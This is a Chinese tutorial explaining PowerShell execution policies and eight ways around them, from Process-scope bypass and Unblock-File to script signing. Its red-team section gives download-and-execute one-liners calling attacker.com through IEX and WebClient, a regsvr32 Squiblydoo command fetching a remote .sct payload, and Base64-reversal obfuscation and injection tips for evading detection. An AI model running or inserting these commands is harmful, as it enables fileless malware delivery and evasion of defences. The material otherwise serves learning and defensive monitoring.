公司动态
PowerShell执行策略8种绕过方法:从安全机制到实战技巧
1. 项目概述为什么我们需要绕过执行策略如果你刚开始接触PowerShell大概率会遇到一个让人头疼的提示“无法加载文件 xxx.ps1因为在此系统上禁止运行脚本。” 这个拦路虎就是PowerShell的执行策略。很多新手会卡在这一步觉得PowerShell“不好用”、“限制多”甚至直接放弃。但我想告诉你这恰恰是PowerShell安全设计的体现而“绕过”它是每一位从脚本小白进阶到安全测试或自动化运维的必经之路。简单来说执行策略是Windows系统为PowerShell脚本设置的一道安全闸门目的是防止恶意脚本在你不知情的情况下运行。默认情况下很多Windows客户端系统的策略是Restricted也就是“禁止一切脚本”。这就像你家大门上了锁虽然安全但你自己想回家也得先开锁。我们学习“绕过”本质上是在理解安全机制的前提下学会如何“合法地”使用钥匙开门而不是把门拆了。无论是为了运行一个从GitHub下载的实用工具脚本还是在安全测试中模拟攻击者行为亦或是自动化部署时执行复杂的配置脚本掌握多种绕过执行策略的方法都是你PowerShell技能树中至关重要的一环。本文将聚焦于PowerShell 5.1Windows内置的经典版本和PowerShell 7.x跨平台的新一代版本手把手带你拆解至少8种实用的绕过技巧。我不会只给你命令更重要的是解释每种方法背后的原理、适用场景以及潜在风险让你从“知其然”到“知其所以然”真正把PowerShell用活。2. 核心概念解析执行策略到底是什么在开始“绕过”之前我们必须先彻底理解我们要绕过的是什么。很多教程一上来就教命令但如果不明白执行策略的运作机制你很容易在复杂的生产环境中踩坑。2.1 执行策略的层级与优先级执行策略不是一个全局统一的开关它存在于不同的“作用域”中并且有严格的优先级。理解这一点是灵活运用绕过技巧的基础。作用域从高到低即优先级从高到低通常包括MachinePolicy / UserPolicy: 通过组策略Group Policy为计算机或用户设置。这是最高优先级通常由企业域管理员控制个人很难直接修改。Process: 仅对当前PowerShell进程生效。进程结束策略即失效。CurrentUser: 仅对当前登录用户生效。设置会保存在用户配置文件中。LocalMachine: 对本机所有用户生效。需要管理员权限才能修改。你可以通过Get-ExecutionPolicy -List命令查看所有作用域的当前策略。系统会从高到低检查第一个非Undefined的策略就是最终生效的策略。例如如果MachinePolicy是Undefined但CurrentUser是RemoteSigned那么生效的策略就是RemoteSigned。2.2 常见的执行策略详解微软官方定义了多种策略但最常打交道的是以下几个Restricted默认: 禁止运行任何脚本文件.ps1, .psm1等只允许交互式输入单个命令。这是最严格的策略也是新手遇到最多的“拦路虎”。RemoteSigned:Windows服务器的默认策略。允许运行本地编写的脚本但对于从网络如互联网下载、电子邮件附件获取的脚本要求必须有受信任的发布者签名。这是一个在安全与便利间取得平衡的策略。AllSigned: 要求所有脚本都必须有签名才能运行无论来源。这非常安全但也极其不便意味着你自己写的每个脚本都得先签名。Unrestricted: 允许运行所有脚本但在运行来自非本地Intranet区域的未签名脚本前会给出警告。在非Windows系统如Linux、macOS上这是默认且无法更改的策略。Bypass: 不阻止任何内容也不显示任何警告或提示。这是最“宽松”的策略通常用于将PowerShell嵌入到其他拥有自身安全模型的应用程序中。重要提示微软官方文档明确指出执行策略不是一个安全边界。它不能防止恶意用户执行代码。它的主要作用是防止用户意外运行有害脚本。一个有决心的攻击者或用户可以通过命令行直接输入脚本内容等方式轻松绕过。因此切勿将执行策略视为唯一的安全保障。2.3 PowerShell 5.1 与 7.x 的差异虽然核心概念相同但在不同版本间仍有细微差别需要注意默认策略Windows 10/11客户端的PowerShell 5.1默认通常是Restricted而PowerShell 7.x的安装程序可能会将其设置为RemoteSigned以提供更好的开箱体验。跨平台行为在Linux或macOS上PowerShell 7.x的默认和有效策略始终是UnrestrictedSet-ExecutionPolicy命令虽然可用但实际不会改变行为策略显示为Unrestricted行为类似Bypass。命令兼容性大部分关于执行策略的Cmdlet如Set-ExecutionPolicy在两个版本中通用但一些底层行为和错误信息可能略有不同。3. 方法一临时绕过作用域为Process这是最常用、最安全也是对系统影响最小的绕过方法。它只改变当前这个PowerShell窗口的策略窗口一关策略就恢复原样。核心命令powershell.exe -ExecutionPolicy Bypass -File .\你的脚本.ps1或者在已经打开的PowerShell会话中运行Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process原理解析与实操要点-ExecutionPolicy Bypass参数这是在启动PowerShell进程powershell.exe或pwsh.exe时指定的参数。它告诉新创建的PowerShell进程“忽略所有其他层级的策略MachinePolicy, UserPolicy, LocalMachine, CurrentUser在本进程生命周期内采用Bypass策略。”-Scope Process参数这是Set-ExecutionPolicy命令的选项其效果与上述启动参数完全一致都是只修改当前进程的作用域。这个修改会保存在环境变量$env:PSExecutionPolicyPreference中而不会写入任何配置文件。如何验证执行后在当前窗口运行Get-ExecutionPolicy它会显示Bypass。但如果你新开一个PowerShell窗口运行同样的命令会发现策略又回到了原来的状态。适用场景与心得运行一次性脚本比如从网上下载了一个工具脚本只需要运行一次。安全测试在隔离的测试环境中需要快速切换策略以执行测试用例。自动化调用在批处理文件.bat或计划任务中调用PowerShell脚本时使用此参数可以确保脚本一定能运行不受用户环境配置的影响。踩坑记录曾经有同事在计划任务里调用脚本失败排查了半天才发现是因为计划任务运行在SYSTEM账户下其CurrentUser作用域的策略是默认的Restricted。后来在计划任务的“操作”设置中在“程序或脚本”栏填powershell.exe在“添加参数”栏填-ExecutionPolicy Bypass -File C:\script.ps1问题迎刃而解。记住永远显式指定执行策略是编写可靠自动化脚本的好习惯。4. 方法二编码命令执行当你连-ExecutionPolicy Bypass参数都无法使用某些极端受限环境或者需要将命令嵌入到其他媒介如快捷方式、注册表、漏洞利用载荷时编码执行是一个强大的技巧。核心操作将脚本或命令编码为Base64字符串$command Get-Process | Where-Object {$_.CPU -gt 100} $bytes [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand [Convert]::ToBase64String($bytes) Write-Output $encodedCommand假设输出是RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBDAFAAVQAgAC0AZwB0ACAAMQAwADAAfQA通过编码命令执行powershell.exe -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBDAFAAVQAgAC0AZwB0ACAAMQAwADAAfQA原理解析-EncodedCommand或-e、-Enc参数允许你传递一个Base64编码的Unicode字符串。PowerShell会先解码这个字符串然后将解码后的内容作为脚本代码执行。关键点在于通过-EncodedCommand执行的代码会被PowerShell引擎视为“命令行输入”而不是从脚本文件.ps1加载的。根据执行策略的设计它只限制脚本文件的执行并不限制在命令行中直接输入命令。因此这种方法可以绕过几乎所有基于文件的执行策略检查。高级用法与注意事项执行复杂脚本你可以将整个.ps1文件的内容读取并编码。$scriptContent Get-Content -Path .\complex_script.ps1 -Raw $bytes [System.Text.Encoding]::Unicode.GetBytes($scriptContent) $encodedScript [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedScript命令长度限制Windows命令行有长度限制约8191个字符过长的Base64字符串可能导致截断。对于很长的脚本考虑将其拆分成多个部分或使用其他方法如从网络下载后执行。隐蔽性在安全测试中Base64编码可以一定程度上规避基于简单字符串匹配的检测规则。但专业的EDR/AV产品仍然可以监控到PowerShell进程的创建和-EncodedCommand参数的使用。5. 方法三交互式命令行与点号操作符如果你只是想快速测试几行代码或者脚本非常短小完全不需要动用文件或复杂参数。方法A交互式逐行输入直接在PowerShell提示符后输入命令并执行。这是Restricted策略下唯一被明确允许的方式。虽然麻烦但对于学习和简单调试足够了。方法B点号操作符执行脚本块点号操作符.用于在当前作用域中运行脚本块或脚本文件。一个有趣的用法是结合Invoke-Expression但慎用或者直接定义脚本块# 定义一个包含多行命令的脚本块 $scriptBlock { Write-Host Hello from ScriptBlock Get-Date Get-Service -Name WinRM } # 使用点号操作符在当前作用域执行这个脚本块 . $scriptBlock虽然$scriptBlock是一个变量但点号操作符执行的是其内容这同样绕过了对.ps1文件的检查。方法C从管道或字符串读取并执行# 将命令字符串通过管道传递给 Invoke-Expression (危险不推荐) Get-Process | Select-Object -First 3 | Invoke-Expression # 更安全的方式使用 调用操作符执行脚本块 { Get-Process | Select-Object -First 3 }Invoke-Expressioniex会将其字符串参数作为PowerShell命令执行威力巨大但也极其危险因为它会执行字符串中的任何代码容易导致注入攻击在脚本中应尽量避免使用。原理解析这些方法的核心思路是不依赖.ps1文件。执行策略的检查主要针对“从文件加载脚本”这一行为。当代码以字符串形式存在于内存中并通过解释器直接执行时策略检查就被绕过了。6. 方法四修改当前用户或本机策略如果你经常需要运行脚本并且环境允许例如你的个人电脑或你拥有管理员权限的测试机永久性地修改执行策略是一个一劳永逸的方案。操作步骤以管理员身份运行PowerShell这是修改LocalMachine作用域所必需的。查看当前策略Get-ExecutionPolicy -List设置策略仅修改当前用户推荐用于个人环境Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser这个命令只影响你当前登录的账户不需要管理员权限且不会影响系统其他用户。修改本机所有用户需要管理员权限Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine系统会要求你确认更改。输入Y或A全是即可。策略选择建议RemoteSigned对于大多数个人开发和安全测试环境这是最佳平衡点。它允许你自由运行本地脚本同时对来自外部的脚本保持警惕。Bypass仅推荐用于高度可控的自动化环境或渗透测试专用机因为这会完全关闭策略提醒。避免使用Unrestricted因为它仍然会为来自互联网的脚本弹出警告干扰自动化流程安全性又不如RemoteSigned。重要警告在企业环境中切勿随意修改LocalMachine策略这很可能违反安全合规要求并与域组策略冲突。修改LocalMachine需要管理员权限如果你在提权的UAC提示框下运行请确保你启动的PowerShell窗口本身也是“以管理员身份运行”的否则会提示“拒绝访问”。7. 方法五解除文件锁定当你从互联网下载一个.ps1文件时Windows会通过“备用数据流”为其添加一个名为Zone.Identifier的标记表明它来自“Internet区域”。RemoteSigned策略会阻止运行这类被标记的未签名脚本。解决方案解除文件锁定图形界面右键点击下载的.ps1文件 - “属性” - 在“常规”选项卡底部如果看到“安全: 此文件来自其他计算机可能被阻止以帮助保护该计算机”勾选“解除锁定”然后点击“确定”。PowerShell命令Unblock-File -Path .\下载的脚本.ps1这个命令会删除文件的Zone.Identifier流使其在系统看来变成一个普通的本地文件。原理解析Unblock-Filecmdlet是专门为处理这个“标记”而设计的。执行后文件就不再被视为“来自远程”因此RemoteSigned策略将允许其运行。这是一种非常“干净”的绕过方式因为它实际上改变了文件的属性使其符合策略要求。适用场景这是处理单个下载脚本最规范、最推荐的方式。尤其是在你确认脚本来源可信后应该先Unblock-File再运行。8. 方法六签名你的脚本这是最“正规”、最符合安全最佳实践的方法。为你自己的脚本添加数字签名这样即使在AllSigned这种最严格的策略下它们也能畅通无阻。步骤简述需要代码签名证书获取代码签名证书可以向商业CA购买或在企业内部搭建CA颁发甚至可以用PowerShell自带的New-SelfSignedCertificate命令创建一个仅供测试的自签名证书。为脚本签名# 假设你有一个证书在“当前用户”的“我的”存储中主题包含你的名字 $cert (Get-ChildItem Cert:\CurrentUser\My -CodeSigningCert)[0] Set-AuthenticodeSignature -FilePath .\MyScript.ps1 -Certificate $cert将证书添加为受信任的根证书仅自签名证书需要否则系统会提示“不受信任的发布者”。运行已签名脚本现在即使在AllSigned策略下你的脚本也可以运行了。原理解析与深度探讨 数字签名利用了公钥基础设施。你用私钥对脚本文件的哈希值进行加密生成签名。PowerShell运行时用你证书中的公钥解密签名得到哈希值A再计算当前脚本文件的哈希值B。如果A等于B证明脚本自签名后未被篡改且发布者你可信。优点安全性最高可追溯适合企业分发脚本。缺点流程复杂证书有成本商业CA或需要维护自建CA。对于快速测试和小工具来说过于繁重。实操心得在内部测试环境中我经常使用自签名证书。关键一步是将自签名证书导入到“受信任的根证书颁发机构”存储。可以使用Export-Certificate和Import-Certificate命令或者更简单地在MMC微软管理控制台中操作。记住自签名证书只应在测试或封闭环境使用切勿用于生产环境或对外分发。9. 方法七利用其他宿主或上下文PowerShell脚本并非只能在powershell.exe或pwsh.exe中运行。一些应用程序和系统组件内置了PowerShell引擎它们可能以不同的安全上下文运行或者默认就使用了宽松的策略。案例通过C#调用PowerShell API你可以编写一个简单的C#程序使用System.Management.Automation命名空间来创建PowerShell运行空间并执行脚本。在C#程序中你可以通过Runspace.DefaultSessionState.ExecutionPolicy属性来设置运行空间的执行策略通常可以设置为Bypass。using (PowerShell ps PowerShell.Create()) { ps.Runspace.SessionStateProxy.ExecutionPolicy Microsoft.PowerShell.ExecutionPolicy.Bypass; ps.AddScript(File.ReadAllText(C:\script.ps1)); var results ps.Invoke(); // 处理结果... }这种方式下执行策略的控制权完全在你的宿主程序中。案例计划任务与系统上下文如前所述计划任务可以指定运行参数。此外以SYSTEM等高权限账户运行的任务其用户配置文件可能不同于交互式登录的用户因此其CurrentUser作用域的策略可能是默认值需要注意。原理解析这些方法跳过了标准的powershell.exe命令行入口点直接与PowerShell引擎交互。引擎的初始化参数可以由宿主程序控制从而可能规避了基于进程启动参数的某些监控或限制。10. 安全测试场景下的高级绕过技巧在渗透测试或红队行动中目标环境往往受到严格限制。此时需要更隐蔽、更非常规的绕过手段。请注意以下技巧仅用于授权的安全测试和教育目的。技巧1混淆与编码嵌套将Base64编码的命令再次进行简单的字符替换、反转或XOR加密以规避简单的静态签名检测。# 一个简单的例子将Base64字符串反转 $encodedCommand “RwBlAHQALQBQAHIAbwBjAGUAcwBzAA” $obfuscated -join ($encodedCommand[-1..-$encodedCommand.Length]) # 然后在执行前再反转回来 $decoded -join ($obfuscated[-1..-$obfuscated.Length]) powershell.exe -EncodedCommand $decoded更高级的混淆会使用[char]转换、字符串拼接、Invoke-Expression动态构造命令等方式增加分析难度。技巧2从远程位置下载并执行这是经典的“无文件”攻击方式。脚本本身不落地到磁盘直接从网络Web、SMB、甚至DNS加载到内存中执行。# 方法1使用Net.WebClient (传统可能被检测) (New-Object System.Net.WebClient).DownloadString(http://attacker.com/script.ps1) | IEX # 方法2使用Invoke-Expression (同上) IEX (New-Object Net.WebClient).DownloadString(http://attacker.com/script.ps1) # 方法3使用更现代的Invoke-RestMethod或Invoke-WebRequest Invoke-Expression (Invoke-RestMethod -Uri http://attacker.com/script.ps1)防御视角监控System.Net.WebClient、DownloadString、IEX、Invoke-Expression等关键词的组合使用是检测此类攻击的常见方法。技巧3利用其他程序加载PowerShell通过regsvr32、rundll32、mshta、cscript等系统自带工具来间接执行PowerShell代码。例如著名的Squiblydoo攻击利用regsvr32调用scrobj.dll来执行脚本。regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll其中.sct文件包含了恶意的脚本代码。这种方式完全避开了直接调用powershell.exe。技巧4进程注入与父进程欺骗通过API调用如CreateRemoteThread将PowerShell代码注入到另一个合法进程如explorer.exe,notepad.exe的内存空间中执行。同时可以欺骗新进程的“父进程”信息使其在监控日志中看起来是由一个可信程序启动的从而规避基于进程树的检测。红队经验谈在实际测试中单一技巧的检出率已经很高。现在更流行的是技巧组合和生活化。例如将载荷分段存储在注册表、环境变量或文件备用数据流中再通过一个看似无害的合法管理脚本如系统日志清理脚本分步解码、组装、执行。关键在于理解防守方的检测逻辑通常是基于命令行参数、进程网络行为、父进程关系的模式匹配然后设计方法去打破这些模式。11. 常见问题与排查技巧实录即使掌握了方法在实际操作中还是会遇到各种奇怪的问题。这里记录了一些我踩过的坑和解决方案。问题1执行策略改不了提示“拒绝访问”或“策略覆盖”症状运行Set-ExecutionPolicy时失败。排查首先运行Get-ExecutionPolicy -List。查看输出中MachinePolicy或UserPolicy作用域的策略。如果它们被设置了不是Undefined那么这是由组策略控制的。在命令行输入rsop.msc打开“组策略结果集”查看“计算机配置/用户配置” - “管理模板” - “Windows 组件” - “Windows PowerShell”下的“打开脚本执行”策略。或者运行gpresult /h report.html生成详细的组策略报告。解决如果是组策略限制个人用户通常无法直接覆盖。你需要联系域管理员或者在本机非域环境的gpedit.msc本地组策略编辑器中修改对应策略。确保你以管理员身份运行PowerShell来修改LocalMachine作用域。尝试使用-Scope Process参数进行临时绕过这是最直接有效的方法。问题2运行脚本时报“数字签名”错误症状错误信息包含“无法验证发行者”、“该数字签名无效”等。排查检查脚本文件属性看是否有“解除锁定”选项。运行Get-AuthenticodeSignature .\script.ps1查看签名状态。解决如果是不受信任的发布者且你信任该脚本使用Unblock-File。如果是自签名证书需要将证书导入到“受信任的根证书颁发机构”或“受信任的发布者”存储。如果不想处理签名临时将执行策略改为RemoteSigned或Bypass仅限可信环境。问题3在PowerShell 7.x (pwsh) 中方法不生效症状在PowerShell 7中某些在5.1中好用的技巧似乎无效。排查记住PowerShell 7是跨平台的其行为可能与Windows PowerShell 5.1有细微差别。例如在Linux上执行策略概念很弱。解决对于启动参数将powershell.exe替换为pwsh.exe。明确指定-ExecutionPolicy Bypass。不要依赖默认值。检查是否有针对PowerShell 7的独立组策略设置路径可能不同。问题4编码命令执行时出现乱码或错误症状使用-EncodedCommand时提示“无效的Base-64字符串”。排查编码问题确保使用Unicode(UTF-16LE) 编码进行转换。这是-EncodedCommand参数强制要求的。用其他编码如UTF-8会产生错误。字符串截断过长的命令在复制粘贴时可能被命令行窗口或某些编辑器截断。特别是包含很多空格或特殊字符时。引号与转义在将命令字符串转换为Base64之前确保字符串本身在PowerShell中是语法正确的。对于包含复杂引号和变量的命令建议先在一个测试脚本中运行成功再将其整体编码。解决使用以下标准代码片段进行编码确保一致性$command # 你的多行命令放在这里 Write-Host Hello Get-Service $bytes [System.Text.Encoding]::Unicode.GetBytes($command) $encoded [Convert]::ToBase64String($bytes) $encoded对于长命令考虑将编码后的字符串保存到文件然后通过Get-Content读取并传递给参数或者使用本节开头提到的下载执行方式。问题5绕过后脚本能运行但模块无法导入症状脚本开头使用Import-Module导入自定义模块或某些系统模块时失败。排查执行策略主要控制.ps1, .psm1, .psd1等脚本文件的执行。模块的导入除了涉及文件执行还可能受到脚本模块路径和模块清单签名的影响。解决确保模块路径已添加到$env:PSModulePath环境变量中。如果模块本身也有签名问题可能需要对模块文件也执行Unblock-File。尝试使用Import-Module -Force参数。在更严格的环境如AllSigned下模块及其清单.psd1可能也需要签名。为了方便查阅我将常见问题、可能原因和快速解决方案整理成下表问题现象最可能原因快速排查命令解决方案“禁止运行脚本”执行策略为RestrictedGet-ExecutionPolicy使用-ExecutionPolicy Bypass -Scope Process策略修改被拒绝组策略优先级更高Get-ExecutionPolicy -List检查组策略 (rsop.msc)或使用-Scope Process临时绕过“无法验证发行者”文件被锁定或签名无效Get-AuthenticodeSignature .\file.ps1Unblock-File .\file.ps1或调整策略为RemoteSigned编码命令执行失败Base64字符串错误或编码不对检查字符串是否完整确认使用Unicode编码使用标准代码块重新编码避免手动复制粘贴PowerShell 7 中无效命令或路径错误确认使用pwsh.exe而非powershell.exe显式使用pwsh -ExecutionPolicy Bypass ...模块导入失败模块路径或签名问题$env:PSModulePath;Get-Module -ListAvailable解除模块文件锁定或使用-Force参数导入掌握这些排查技巧能让你在遇到问题时快速定位而不是盲目尝试。记住理解错误信息是解决问题的第一步。PowerShell的错误信息通常比较详细仔细阅读往往能找到线索。